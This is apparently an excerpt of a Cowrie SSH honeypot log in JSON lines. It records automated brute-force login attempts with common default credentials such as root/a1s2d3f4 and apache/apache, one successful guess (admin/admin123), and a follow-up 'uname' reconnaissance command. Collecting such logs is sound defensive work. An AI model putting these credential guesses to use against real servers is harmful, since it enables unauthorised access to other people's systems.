{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:40.654285Z","src_ip":"176.65.132.129","session":"56a75e50d902","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60614,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd4cdc8e1ada","protocol":"ssh","message":"New connection: 176.65.132.129:60614 (159.203.135.109:22) [session: cd4cdc8e1ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:42.647698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:42.652297Z","src_ip":"176.65.132.129","session":"cd4cdc8e1ada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:42.734359Z","src_ip":"176.65.132.129","session":"cd4cdc8e1ada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1s2d3f4","message":"login attempt [root/a1s2d3f4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:42.980830Z","src_ip":"176.65.132.129","session":"cd4cdc8e1ada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:44.068321Z","src_ip":"176.65.132.129","session":"cd4cdc8e1ada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":44555,"dst_ip":"10.17.0.5","dst_port":22,"session":"43aad2c2a845","protocol":"ssh","message":"New connection: 193.106.245.20:44555 (10.17.0.5:22) [session: 43aad2c2a845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:45.611125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:45.615229Z","src_ip":"193.106.245.20","session":"43aad2c2a845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:45.735144Z","src_ip":"193.106.245.20","session":"43aad2c2a845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58130,"dst_ip":"159.203.135.109","dst_port":22,"session":"52df0702c6d0","protocol":"ssh","message":"New connection: 176.65.132.129:58130 (159.203.135.109:22) [session: 52df0702c6d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:46.012677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:46.017220Z","src_ip":"176.65.132.129","session":"52df0702c6d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:46.099199Z","src_ip":"176.65.132.129","session":"52df0702c6d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2020","message":"login attempt [root/test2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:46.247010Z","src_ip":"193.106.245.20","session":"43aad2c2a845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:46.345992Z","src_ip":"176.65.132.129","session":"52df0702c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:47.371130Z","src_ip":"193.106.245.20","session":"43aad2c2a845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:47.429851Z","src_ip":"176.65.132.129","session":"52df0702c6d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.01300358772278,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:48.346526Z","src_ip":"45.58.127.90","session":"bab127d4172e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58178,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b9794c4c410","protocol":"ssh","message":"New connection: 176.65.132.129:58178 (159.203.135.109:22) [session: 4b9794c4c410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:49.476526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:49.480746Z","src_ip":"176.65.132.129","session":"4b9794c4c410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:49.562301Z","src_ip":"176.65.132.129","session":"4b9794c4c410","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:49.806980Z","src_ip":"176.65.132.129","session":"4b9794c4c410","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:50.011742Z","src_ip":"176.65.132.129","session":"4b9794c4c410","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:50.015397Z","src_ip":"176.65.132.129","session":"4b9794c4c410","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:50.100316Z","src_ip":"176.65.132.129","session":"4b9794c4c410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:50.104391Z","src_ip":"176.65.132.129","session":"4b9794c4c410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.82335448265076,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:50.517035Z","src_ip":"45.58.127.90","session":"62b82ee5e334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58232,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab0bd781d37","protocol":"ssh","message":"New connection: 176.65.132.129:58232 (159.203.135.109:22) [session: dab0bd781d37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:52.836764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:52.840708Z","src_ip":"176.65.132.129","session":"dab0bd781d37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:52.922282Z","src_ip":"176.65.132.129","session":"dab0bd781d37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:53.167581Z","src_ip":"176.65.132.129","session":"dab0bd781d37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:54.251825Z","src_ip":"176.65.132.129","session":"dab0bd781d37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55082,"dst_ip":"159.203.135.109","dst_port":22,"session":"763d49663742","protocol":"ssh","message":"New connection: 176.65.132.129:55082 (159.203.135.109:22) [session: 763d49663742]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:56.217975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:56.226880Z","src_ip":"176.65.132.129","session":"763d49663742","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:56.309426Z","src_ip":"176.65.132.129","session":"763d49663742","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:56.556087Z","src_ip":"176.65.132.129","session":"763d49663742","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:57.642474Z","src_ip":"176.65.132.129","session":"763d49663742","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55086,"dst_ip":"159.203.135.109","dst_port":22,"session":"4de9c710571d","protocol":"ssh","message":"New connection: 176.65.132.129:55086 (159.203.135.109:22) [session: 4de9c710571d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:59.733314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:59.737792Z","src_ip":"176.65.132.129","session":"4de9c710571d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:12:59.820094Z","src_ip":"176.65.132.129","session":"4de9c710571d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"bob","message":"login attempt [bob/bob] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:00.066845Z","src_ip":"176.65.132.129","session":"4de9c710571d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:01.154067Z","src_ip":"176.65.132.129","session":"4de9c710571d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.70930743217468,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:01.387696Z","src_ip":"45.58.127.90","session":"b8ce176b01b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55106,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba47dc1fa1b8","protocol":"ssh","message":"New connection: 176.65.132.129:55106 (159.203.135.109:22) [session: ba47dc1fa1b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.080527Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:13:03.085469Z","src_ip":"176.65.132.129","session":"ba47dc1fa1b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 